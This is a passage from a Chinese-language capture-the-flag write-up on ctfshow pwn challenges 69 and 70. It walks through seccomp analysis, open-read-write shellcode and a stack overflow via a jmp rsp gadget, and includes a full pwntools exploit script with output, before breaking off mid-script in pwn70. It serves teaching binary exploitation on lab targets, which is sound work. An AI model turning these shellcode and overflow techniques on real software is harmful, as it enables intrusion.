class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 71</span><br><span class="line">Addr: 0x7ffcb41930cc</span><br><span class="line">Sending: 0x7ffcb419339d</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn69"><a href="#pwn69" class="headerlink" title="pwn69"></a>pwn69</h2><p>Hint：可以尝试用ORW读flag flag文件位置为&#x2F;ctfshow_flag</p><p><strong><code>ORW指的是Open-Read-Write技术，是一种利用系统调用读取文件内容（如flag文件）的攻击方法。</code></strong></p><p><strong><code>ORW通过以下三个系统调用实现：</code></strong></p><p><strong><code>open：打开目标文件，获取文件描述符。</code></strong></p><p><strong><code>read：通过文件描述符读取文件内容到缓冲区。</code></strong></p><p><strong><code>write：将缓冲区的内容写入标准输出。</code></strong></p><p>当攻击者通过漏洞控制程序执行流程后，可以注入或执行类似ORW的代码来读取敏感文件。例如，攻击者可以通过ROP（Return-Oriented Programming）或直接注入汇编代码来实现ORW。</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       amd64-64-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br></pre></td></tr></table></figure><p>64位仅部分开启RELRO。其他保护全关</p><p>IDA查看main函数（依据函数功能修改对应函数名）：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> a1, <span class="type">char</span> **a2, <span class="type">char</span> **a3)</span></span><br><span class="line">&#123;</span><br><span class="line">  mmap((<span class="type">void</span> *)<span class="number">0x123000</span>, <span class="number">0x1000u</span>, <span class="number">6</span>, <span class="number">34</span>, <span class="number">-1</span>, <span class="number">0</span>);</span><br><span class="line">  seccomp();</span><br><span class="line">  setvbuf();</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/*mmap()函数的主要用途有三个：</span></span><br><span class="line"><span class="comment">1、将一个普通文件映射到内存中，通常在需要对文件进行频繁读写时使用，这样用内存读写取代I/O读</span></span><br><span class="line"><span class="comment">写，以获得较高的性能；</span></span><br><span class="line"><span class="comment">2、将特殊文件进行匿名内存映射，可以为关联进程提供共享内存空间；</span></span><br><span class="line"><span class="comment">3、为无关联的进程提供共享内存空间，一般也是将一个普通文件映射到内存中。*/</span></span><br></pre></td></tr></table></figure><p>把从0x123000开始的地址，大小为0x1000的长度，权限改为可写可执行</p><p>跟进seccomp()：</p><p><strong>Seccomp（Secure Computing Mode）是 Linux 内核中的一种安全机制，用于限制进程可以调用的<code>系统调用</code>（Syscalls），从而减少潜在的攻击面。</strong></p><p><strong>沙盒环境：Seccomp 常用于沙盒环境中，限制程序的权限，防止恶意程序通过高风险系统调用攻击系统。</strong></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 <span class="title function_">seccomp</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 v1; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v1 = seccomp_init(<span class="number">0</span>);</span><br><span class="line">  seccomp_rule_add(v1, <span class="number">2147418112</span>, <span class="number">0</span>, <span class="number">0</span>); <span class="comment">//初始化 seccomp 上下文</span></span><br><span class="line">  seccomp_rule_add(v1, <span class="number">2147418112</span>, <span class="number">1</span>, <span class="number">0</span>);</span><br><span class="line">  seccomp_rule_add(v1, <span class="number">2147418112</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  seccomp_rule_add(v1, <span class="number">2147418112</span>, <span class="number">60</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="keyword">return</span> seccomp_load(v1);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/*2147418112表示 “允许执行该系统调用”；第三个参数（如0、1、2、60）：系统调用号（syscall number）对应read，write，open，exit；最后一个参数0：表示 “不检查系统调用的参数”（允许该系统调用的任何参数）*/</span></span><br></pre></td></tr></table></figure><p>沙盒过滤，seccomp-tools 是一个用于分析和调试 Seccomp 策略的工具集，它可以帮助你检查程序是否启用了 Seccomp 以及其具体的 Seccomp 配置。通过运行 seccomp-tools dump .&#x2F;pwn，你可以查看目标程序 .&#x2F;pwn 的 Seccomp 策略。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ seccomp-tools dump ./pwn</span><br><span class="line"> line  CODE  JT   JF      K</span><br><span class="line">=================================</span><br><span class="line"> 0000: 0x20 0x00 0x00 0x00000004  A = <span class="built_in">arch</span></span><br><span class="line"> 0001: 0x15 0x00 0x08 0xc000003e  <span class="keyword">if</span> (A != ARCH_X86_64) goto 0010</span><br><span class="line"> 0002: 0x20 0x00 0x00 0x00000000  A = sys_number</span><br><span class="line"> 0003: 0x35 0x00 0x01 0x40000000  <span class="keyword">if</span> (A &lt; 0x40000000) goto 0005</span><br><span class="line"> 0004: 0x15 0x00 0x05 0xffffffff  <span class="keyword">if</span> (A != 0xffffffff) goto 0010</span><br><span class="line"> 0005: 0x15 0x03 0x00 0x00000000  <span class="keyword">if</span> (A == <span class="built_in">read</span>) goto 0009</span><br><span class="line"> 0006: 0x15 0x02 0x00 0x00000001  <span class="keyword">if</span> (A == write) goto 0009</span><br><span class="line"> 0007: 0x15 0x01 0x00 0x00000002  <span class="keyword">if</span> (A == open) goto 0009</span><br><span class="line"> 0008: 0x15 0x00 0x01 0x0000003c  <span class="keyword">if</span> (A != <span class="built_in">exit</span>) goto 0010</span><br><span class="line"> 0009: 0x06 0x00 0x00 0x7fff0000  <span class="built_in">return</span> ALLOW</span><br><span class="line"> 0010: 0x06 0x00 0x00 0x00000000  <span class="built_in">return</span> KILL</span><br></pre></td></tr></table></figure><p>只有read，write，open，exit可以使用，使用 open–&gt;read–&gt;write 这样的orw的方式</p><p>跟进漏洞函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">32</span>]; <span class="comment">// [rsp+0h] [rbp-20h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Now you can use ORW to do&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x38u</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;No you don&#x27;t understand I say!&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>明显的溢出漏洞 那么思路就是先写入orw类型的shellcode，然后跳转去执行，buf的大小只有0x20，感觉不够我们写全rop攻击链，程序一开始的时候给我们开辟了0x100可执行的空间，打算在这边写shellcode，然后用buf的溢出跳转过来执行我们的shellcode。</p><p>写orw的shellcode：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">orw_shellcode = shellcraft.<span class="built_in">open</span>(<span class="string">&quot;/ctfshow_flag&quot;</span>) <span class="comment"># 打开根目录下的ctfshow_flag文件</span></span><br><span class="line">orw_shellcode += shellcraft.read(<span class="number">3</span>,mmap,<span class="number">100</span>) <span class="comment"># 读取文件标识符是3的文件0x100个字节存放到mmap分配的地址空间里[0代表stdin，1代表stdout，2代表标准错误输出。其他文件就是从3开始了。]</span></span><br><span class="line">orw_shellcode += shellcraft.write(<span class="number">1</span>,mmap,<span class="number">100</span>) <span class="comment"># 将mmap地址上的内容输出0x100个字节</span></span><br><span class="line">shellcode = asm(orw_shellcode)</span><br><span class="line"><span class="comment">#read里的fd写3是因为程序执行的时候文件描述符是从3开始的，write里的1是标准输出到显示器</span></span><br></pre></td></tr></table></figure><p>然后buf里面的rop攻击链：</p><p>buf里面的rop攻击链是要往mmap里写入orw_shellcode,让程序跳转到mmap去执行orw_shellcode</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload = asm(shellcraft.read(<span class="number">0</span>,mmap,<span class="number">0x100</span>))+asm(<span class="string">&quot;mov rax,0x123000; jmp rax&quot;</span>)</span><br><span class="line"><span class="comment">#从标准输入（文件描述符 0）读取最多 0x100 字节的内容到 mmap_ar 指向的内存区域。</span></span><br><span class="line"><span class="comment">#将 rax 寄存器设置为 0x123000，然后跳转到该地址。这里的 0x123000 是 mmap_ar 的地址，用于跳转到攻击者控制的内存区域。</span></span><br></pre></td></tr></table></figure><p>这样buf里的rop就达到了我们想要的目的，下面就要想办法让buf里的内容被执行，发现该程序有jmp rsp</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary pwn  | grep jmp</span><br><span class="line">0x0000000000400a01 : jmp rsp</span><br></pre></td></tr></table></figure><p>其实就是这个后门函数</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">sub_4009EE</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  __asm &#123; jmp     rsp &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>**<code>rsp是栈顶指针寄存器，jmp rsp的作用是返回到栈顶，由于调用时是一个新的函数，所以开辟了新的栈，所以jmp rsp实际上是返回这条指令位置+8处。</code>**那意味着我们可以通过这条指令跳转到当前栈顶处然后执行我们布置在栈上shellcode从而实现ORW。</p><p>利用它可以跳转到buf去执行，buf地址是rsp-0x30[buf的起始地址到 “返回地址” 的偏移:(rbp + 8) - (rbp - 0x20) &#x3D; 0x28(<code>+8是旧rbp的长度</code>),再写入<code>8字节</code>的<code>jmp rsp</code>地址（因为返回地址占 8 字节）]</p><p>所以buf中完整的rop攻击链：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">jmp_rsp = <span class="number">0x400a01</span></span><br><span class="line">payload = asm(shellcraft.read(<span class="number">0</span>,mmap,<span class="number">0x100</span>))+asm(<span class="string">&quot;mov rax,0x123000; jmp rax&quot;</span>)</span><br><span class="line"><span class="comment"># buf里的rop是往mmap里读入0x100长度的数据，跳转到mmap的地址执行</span></span><br><span class="line">payload = payload.ljust(<span class="number">0x28</span>,<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line"><span class="comment"># buf的大小是0x20，加上rbp 0x8是0x28，用&#x27;\x00&#x27;去填充剩下的位置</span></span><br><span class="line">payload += p64(jmp_rsp)+asm(<span class="string">&quot;sub rsp,0x30; jmp rsp&quot;</span>) <span class="comment"># 返回地址写上跳转到rsp</span></span><br><span class="line"><span class="comment">#asm(&quot;sub rsp,0x30; jmp rsp&quot;):调整栈指针（rsp）的位置，使其指向栈上的有效代码</span></span><br><span class="line"><span class="comment">#sub rsp, 0x30：将栈指针rsp减去0x30（48 字节）。由于栈是向下增长的（地址从高到低），这会让rsp指向更靠前的栈内存（地址更小的位置）。</span></span><br><span class="line">io.recvuntil(<span class="string">&#x27;do&#x27;</span>)</span><br><span class="line">io.sendline(payload)</span><br></pre></td></tr></table></figure><p>将buf中的rop链发送后，再传入orw_shellcode就能读出flag了</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;new-window&#x27;</span>]</span><br><span class="line">context(log_level = <span class="string">&#x27;debug&#x27;</span>, arch = <span class="string">&#x27;amd64&#x27;</span>, os = <span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">mmap = <span class="number">0x123000</span></span><br><span class="line">jmp_rsp = <span class="number">0x400a01</span></span><br><span class="line">orw_shellcode = shellcraft.<span class="built_in">open</span>(<span class="string">&quot;/ctfshow_flag&quot;</span>)</span><br><span class="line">orw_shellcode += shellcraft.read(<span class="number">3</span>,mmap,<span class="number">100</span>)</span><br><span class="line">orw_shellcode += shellcraft.write(<span class="number">1</span>,mmap,<span class="number">100</span>)</span><br><span class="line">shellcode = asm(orw_shellcode)</span><br><span class="line">payload = asm(shellcraft.read(<span class="number">0</span>,mmap,<span class="number">0x100</span>))+asm(<span class="string">&quot;mov rax,0x123000; jmp rax&quot;</span>)</span><br><span class="line">payload = payload.ljust(<span class="number">0x28</span>,<span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line">payload += p64(jmp_rsp)+asm(<span class="string">&quot;sub rsp,0x30; jmp rsp&quot;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;do&#x27;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line">io.sendline(shellcode)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 288</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line"></span><br><span class="line">No you don<span class="string">&#x27;t understand I say!</span></span><br><span class="line"><span class="string">flag&#123;just_test_my_process&#125;</span></span><br><span class="line"><span class="string">/ctfshowPH\x89\xe71\xd21\xf6j\x02X\x0f\x051\xc0j\x03_jdZ\xbe\x01\x01\x01\x01\x81\xf6\x011\x13\x01\x0f\x05j\x01_jdZ\xbe\x01\x01\x01\x01\x81\xf6\x011\x13\x01j\x01X\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00</span></span><br></pre></td></tr></table></figure><h2 id="pwn70"><a href="#pwn70" class="headerlink" title="pwn70"></a>pwn70</h2><p>Hint：可以开始你的个人秀了 flag文件位置为&#x2F;flag</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       amd64-64-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      Canary found</span><br><span class="line">  NX:         NX disabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>64位程序部分开启RELRO，开启栈保护<br>告诉了我们flag文件位置，hint中还是让我们用ORW读flag，* Hint  : Try use ‘ORW’ to get flag</p><p>查看沙箱的情况：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ seccomp-tools dump ./pwn</span><br><span class="line"> line  CODE  JT   JF      K</span><br><span class="line">=================================</span><br><span class="line"> 0000: 0x20 0x00 0x00 0x00000004  A = <span class="built_in">arch</span></span><br><span class="line"> 0001: 0x15 0x00 0x05 0xc000003e  <span class="keyword">if</span> (A != ARCH_X86_64) goto 0007</span><br><span class="line"> 0002: 0x20 0x00 0x00 0x00000000  A = sys_number</span><br><span class="line"> 0003: 0x35 0x00 0x01 0x40000000  <span class="keyword">if</span> (A &lt; 0x40000000) goto 0005</span><br><span class="line"> 0004: 0x15 0x00 0x02 0xffffffff  <span class="keyword">if</span> (A != 0xffffffff) goto 0007</span><br><span class="line"> 0005: 0x15 0x01 0x00 0x0000003b  <span class="keyword">if</span> (A == execve) goto 0007</span><br><span class="line"> 0006: 0x06 0x00 0x00 0x7fff0000  <span class="built_in">return</span> ALLOW</span><br><span class="line"> 0007: 0x06 0x00 0x00 0x00000000  <span class="built_in">return</span> KILL</span><br></pre></td></tr></table></figure><p>1.程序只允许在 x86_64 架构下运行。</p><p>2.系统调用必须小于 0x40000000，否则拒绝执行。</p><p>3.特别地，如果系统调用是 execve（编号为 0x3b），则直接拒绝（KILL）。</p><p>需要注入shellcode来做，虽然有canary但是NX没开，栈还是能执行的。</p><p>ida 无法反汇编main：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:0000000000400A68 main            proc near               ; DATA XREF: _start+1D↑o</span><br><span class="line">.text:0000000000400A68</span><br><span class="line">.text:0000000000400A68 var_80          = qword ptr -80h</span><br><span class="line">.text:0000000000400A68 var_74          = dword ptr -74h</span><br><span class="line">.text:0000000000400A68 s               = byte ptr -70h</span><br><span class="line">.text:0000000000400A68 var_8           = qword ptr -8</span><br><span class="line">.text:0000000000400A68</span><br><span class="line">.text:0000000000400A68 ; __unwind &#123;</span><br><span class="line">.text:0000000000400A68                 push    rbp</span><br><span class="line">.text:0000000000400A69                 mov     rbp, rsp</span><br><span class="line">.text:0000000000400A6C                 add     rsp, 0FFFFFFFFFFFFFF80h  ; ; 等价于 sub rsp, 0x80，在栈上分配 0x80 字节空间</span><br><span class="line">.text:0000000000400A70                 mov     [rbp+var_74], edi</span><br><span class="line">.text:0000000000400A73                 mov     [rbp+var_80], rsi</span><br><span class="line">.text:0000000000400A77                 mov     rax, fs:28h  ; 读取 fs 段的栈保护值（canary，用于检测栈溢出）</span><br><span class="line">.text:0000000000400A80                 mov     [rbp+var_8], rax  ; 保存 canary 到栈上</span><br><span class="line">.text:0000000000400A84                 xor     eax, eax  ; 初始化 eax 为 0</span><br><span class="line">.text:0000000000400A86                 mov     eax, 0</span><br><span class="line">.text:0000000000400A8B                 call    init</span><br><span class="line">.text:0000000000400A90                 mov     eax, 0</span><br><span class="line">.text:0000000000400A95                 call    set_secommp   #沙箱</span><br><span class="line">.text:0000000000400A9A                 lea     rax, [rbp+s]   ; 获取栈上缓冲区 s 的地址（s 是 byte ptr -70h）</span><br><span class="line">.text:0000000000400A9E                 mov     esi, 68h ; &#x27;h&#x27;  ; n</span><br><span class="line">.text:0000000000400AA3                 mov     rdi, rax        ; s</span><br><span class="line">.text:0000000000400AA6                 call    _bzero  ; 清零 s 缓冲区的前 104 字节（防止残留数据干扰）</span><br><span class="line">.text:0000000000400AAB                 mov     eax, 0</span><br><span class="line">.text:0000000000400AB0                 call    logo</span><br><span class="line">.text:0000000000400AB5                 lea     rdi, aWelcomeTellMeY ; &quot;Welcome,tell me your name:&quot;</span><br><span class="line">.text:0000000000400ABC                 call    _puts</span><br><span class="line">.text:0000000000400AC1                 lea     rax, [rbp+s]  ; s 的地址</span><br><span class="line">.text:0000000000400AC5                 mov     edx, 64h ; &#x27;d&#x27;  ; nbytes</span><br><span class="line">.text:0000000000400ACA                 mov     rsi, rax        ; buf=s</span><br><span class="line">.text:0000000000400ACD                 mov     edi, 0          ; fd（标准输入）</span><br><span class="line">.text:0000000000400AD2                 mov     eax, 0</span><br><span class="line">.text:0000000000400AD7                 call    _read</span><br><span class="line">.text:0000000000400ADC                 sub     eax, 1  ;去掉末尾换行符 &#x27;\n&#x27;</span><br><span class="line">.text:0000000000400ADF                 cdqe  ; 将 eax 扩展为 64 位（rax）</span><br><span class="line">.text:0000000000400AE1                 mov     [rbp+rax+s], 0  ; 在原换行符位置放 &#x27;\0&#x27;，确保字符串结束</span><br><span class="line">#读取用户输入（最多 100 字节），并通过截断换行符的方式，将输入转换为标准 C 字符串（以 \0 结尾）。</span><br><span class="line">.text:0000000000400AE6                 lea     rax, [rbp+s]</span><br><span class="line">.text:0000000000400AEA                 mov     rdi, rax</span><br><span class="line">.text:0000000000400AED                 call    is_printable  ; 调用 is_printable 检查输入是否合法</span><br><span class="line">.text:0000000000400AF2                 test    eax, eax  ; 检查返回值（0 表示非法，非 0 表示合法）</span><br><span class="line">.text:0000000000400AF4                 jz      short loc_400AFE  ; 若非法，跳转到错误处理</span><br><span class="line">.text:0000000000400AF6                 lea     rax, [rbp+s]  ; 若合法，获取 s 的地址</span><br><span class="line">.text:0000000000400AFA                 call    rax  ; 关键：将输入的字符串作为函数地址调用！</span><br><span class="line">.text:0000000000400AFC                 jmp     short loc_400B0A  ; 跳过错误处理</span><br><span class="line">#若输入通过 is_printable 检查，则将输入的字符串内容当作函数指针直接调用。这是极高风险的操作 —— 如果输入的字符串恰好是某个有效函数的地址，且地址的每个字节都是可打印字符，就会执行该函数。</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">char</span> s[<span class="number">0x70</span>]; <span class="comment">// [sp-70h] [bp-70h]@1（栈上缓冲区，大小0x70字节）</span></span><br><span class="line">    __int64 canary; <span class="comment">// [sp-8h] [bp-8h]@1（栈保护canary）</span></span><br><span class="line">    <span class="type">ssize_t</span> nread; <span class="comment">// 临时变量，保存read返回值</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 保存 argc 和 argv 到栈上</span></span><br><span class="line">    *(<span class="type">int</span>*)&amp;argv[<span class="number">-1</span>] = argc; <span class="comment">// 对应 [rbp+var_74] = edi（edi是argc）</span></span><br><span class="line">    *(<span class="type">const</span> <span class="type">char</span>***)&amp;argv[<span class="number">-2</span>] = argv; <span class="comment">// 对应 [rbp+var_80] = rsi（rsi是argv）</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 设置栈保护canary（编译器自动添加的栈溢出检测）</span></span><br><span class="line">    canary = *(__int64*)(__readfsqword(<span class="number">0x28</span>) + <span class="number">0x28</span>); <span class="comment">// 对应 fs:28h</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 初始化操作</span></span><br><span class="line">    init(); <span class="comment">// 调用初始化函数</span></span><br><span class="line">    set_secommp(); <span class="comment">// 调用沙箱配置函数</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 清零缓冲区s（前0x68字节）</span></span><br><span class="line">    bzero(s, <span class="number">0x68u</span>); <span class="comment">// 对应 _bzero(s, 0x68)</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 打印程序标志和欢迎信息</span></span><br><span class="line">    logo(); <span class="comment">// 调用logo函数</span></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Welcome,tell me your name:&quot;</span>); <span class="comment">// 输出输入提示</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 读取用户输入（最多0x64字节）</span></span><br><span class="line">    nread = read(<span class="number">0</span>, s, <span class="number">0x64u</span>); <span class="comment">// 从标准输入(fd=0)读取数据到s</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 去除输入末尾的换行符（将&#x27;\n&#x27;替换为&#x27;\0&#x27;）</span></span><br><span class="line">    <span class="keyword">if</span> (nread &gt; <span class="number">0</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        s[nread - <span class="number">1</span>] = <span class="number">0</span>; <span class="comment">// 对应 [rbp + (nread-1) + s] = 0</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 检查输入是否全为可打印字符</span></span><br><span class="line">    <span class="keyword">if</span> (is_printable(s) != <span class="number">0</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">// 若合法，将输入字符串作为函数指针调用</span></span><br><span class="line">        ((<span class="type">void</span> (*)())s)(); <span class="comment">// 对应 call rax（rax是s的地址）</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 函数退出（省略栈保护检查和栈帧恢复逻辑）</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>is_printable:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:00000000004008EA is_printable    proc near               ; CODE XREF: main+85↓p</span><br><span class="line">.text:00000000004008EA</span><br><span class="line">.text:00000000004008EA s               = qword ptr -28h</span><br><span class="line">.text:00000000004008EA var_14          = dword ptr -14h</span><br><span class="line">.text:00000000004008EA</span><br><span class="line">.text:00000000004008EA ; __unwind &#123;</span><br><span class="line">.text:00000000004008EA                 push    rbp</span><br><span class="line">.text:00000000004008EB                 mov     rbp, rsp</span><br><span class="line">.text:00000000004008EE                 push    rbx</span><br><span class="line">.text:00000000004008EF                 sub     rsp, 28h  ; 分配 0x28 字节栈空间</span><br><span class="line">.text:00000000004008F3                 mov     [rbp+s], rdi  ; 保存输入字符串地址（参数 s）到栈上</span><br><span class="line">.text:00000000004008F7                 mov     [rbp+var_14], 0  ; 初始化计数器 var_14=0（即 i=0，用于遍历字符串）</span><br><span class="line">.text:00000000004008FE                 jmp     short loc_400933  ; 跳转到循环判断</span><br><span class="line">.text:0000000000400900 ; ---------------------------------------------------------------------------</span><br><span class="line">.text:0000000000400900</span><br><span class="line">.text:0000000000400900 loc_400900:                             ; CODE XREF: is_printable+5E↓j</span><br><span class="line">.text:0000000000400900                 mov     eax, [rbp+var_14] ; i</span><br><span class="line">.text:0000000000400903                 movsxd  rdx, eax</span><br><span class="line">.text:0000000000400906                 mov     rax, [rbp+s]</span><br><span class="line">.text:000000000040090A                 add     rax, rdx ; rax = &amp;s[i]</span><br><span class="line">.text:000000000040090D                 movzx   eax, byte ptr [rax] ; eax = s[i]（字符值）</span><br><span class="line">.text:0000000000400910                 cmp     al, 1Fh ; 比较 s[i] 与 0x1F（31，ASCII 控制字符上限）</span><br><span class="line">.text:0000000000400912                 jle     short loc_400928  ; 若 s[i] &lt;= 31（控制字符，不可打印），返回 0</span><br><span class="line">.text:0000000000400914                 mov     eax, [rbp+var_14] ; 再次获取 i（可能因跳转重新加载）</span><br><span class="line">.text:0000000000400917                 movsxd  rdx, eax</span><br><span class="line">.text:000000000040091A                 mov     rax, [rbp+s]</span><br><span class="line">.text:000000000040091E                 add     rax, rdx ; rax = &amp;s[i]</span><br><span class="line">.text:0000000000400921                 movzx   eax, byte ptr [rax] ; eax = s[i]</span><br><span class="line">.text:0000000000400924                 cmp     al, 7Fh ; 比较 s[i] 与 0x7F（127，DEL 控制字符）</span><br><span class="line">.text:0000000000400926                 jnz     short loc_40092F ; 若 s[i] != 127，继续检查下一个字符</span><br><span class="line">.text:0000000000400928</span><br><span class="line">.text:0000000000400928 loc_400928:                             ; CODE XREF: is_printable+28↑j</span><br><span class="line">.text:0000000000400928                 mov     eax, 0 ; 返回 0（表示输入非法）</span><br><span class="line">.text:000000000040092D                 jmp     short loc_40094F ; 退出函数</span><br><span class="line">.text:000000000040092F ; ---------------------------------------------------------------------------</span><br><span class="line">.text:000000000040092F</span><br><span class="line">.text:000000000040092F loc_40092F:                             ; CODE XREF: is_printable+3C↑j</span><br><span class="line">.text:000000000040092F                 add     [rbp+var_14], 1 ; i++，继续下一次循环</span><br><span class="line">.text:0000000000400933</span><br><span class="line">.text:0000000000400933 loc_400933:                             ; CODE XREF: is_printable+14↑j</span><br><span class="line">.text:0000000000400933                 mov     eax, [rbp+var_14] ; 获取 i</span><br><span class="line">.text:0000000000400936                 movsxd  rbx, eax ; 扩展为 64 位（rbx = i）</span><br><span class="line">.text:0000000000400939                 mov     rax, [rbp+s] ; 获取字符串 s 的地址</span><br><span class="line">.text:000000000040093D                 mov     rdi, rax        ; s</span><br><span class="line">.text:0000000000400940                 call    _strlen ; 计算字符串长度（rax = strlen(s)）</span><br><span class="line">.text:0000000000400945                 cmp     rbx, rax ; 比较 i 与字符串长度</span><br><span class="line">.text:0000000000400948                 jb      short loc_400900 ; 若 i &lt; 长度，进入循环体；否则循环结束</span><br><span class="line">.text:000000000040094A                 mov     eax, 1</span><br><span class="line">.text:000000000040094F</span><br><span class="line">.text:000000000040094F loc_40094F:                             ; CODE XREF: is_printable+43↑j</span><br><span class="line">.text:000000000040094F                 add     rsp, 28h</span><br><span class="line">.text:0000000000400953                 pop     rbx</span><br><span class="line">.text:0000000000400954                 pop     rbp</span><br><span class="line">.text:0000000000400955                 retn</span><br><span class="line">.text:0000000000400955 ; &#125; // starts at 4008EA</span><br><span class="line">.text:0000000000400955 is_printable    endp</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">signed</span> __int64 __fastcall <span class="title function_">is_printable</span><span class="params">(<span class="type">const</span> <span class="type">char</span> *a1)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> i; <span class="comment">// [sp+1Ch] [bp-14h]@1</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="built_in">strlen</span>(a1); ++i)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">// 检查字符是否为不可打印字符（ASCII控制字符0-31或DEL字符127）</span></span><br><span class="line">        <span class="keyword">if</span> (a1[i] &lt;= <span class="number">0x1F</span> <span class="comment">/*31*/</span> || a1[i] == <span class="number">0x7F</span> <span class="comment">/*127*/</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="number">0LL</span>; <span class="comment">// 存在非法字符，返回0</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1LL</span>; <span class="comment">// 所有字符均为可打印字符，返回1</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h6 id="解一："><a href="#解一：" class="headerlink" title="解一："></a>解一：</h6><p>做过pwn66, 有strlen 的话可以找\x00开头的shellcode</p><p>可以在开头加上\x00 \xc0，用cat(“flag”)命令</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>,arch=<span class="string">&quot;amd64&quot;</span>,log_level=<span class="string">&quot;debug&quot;</span>)</span><br><span class="line">io = remote(<span 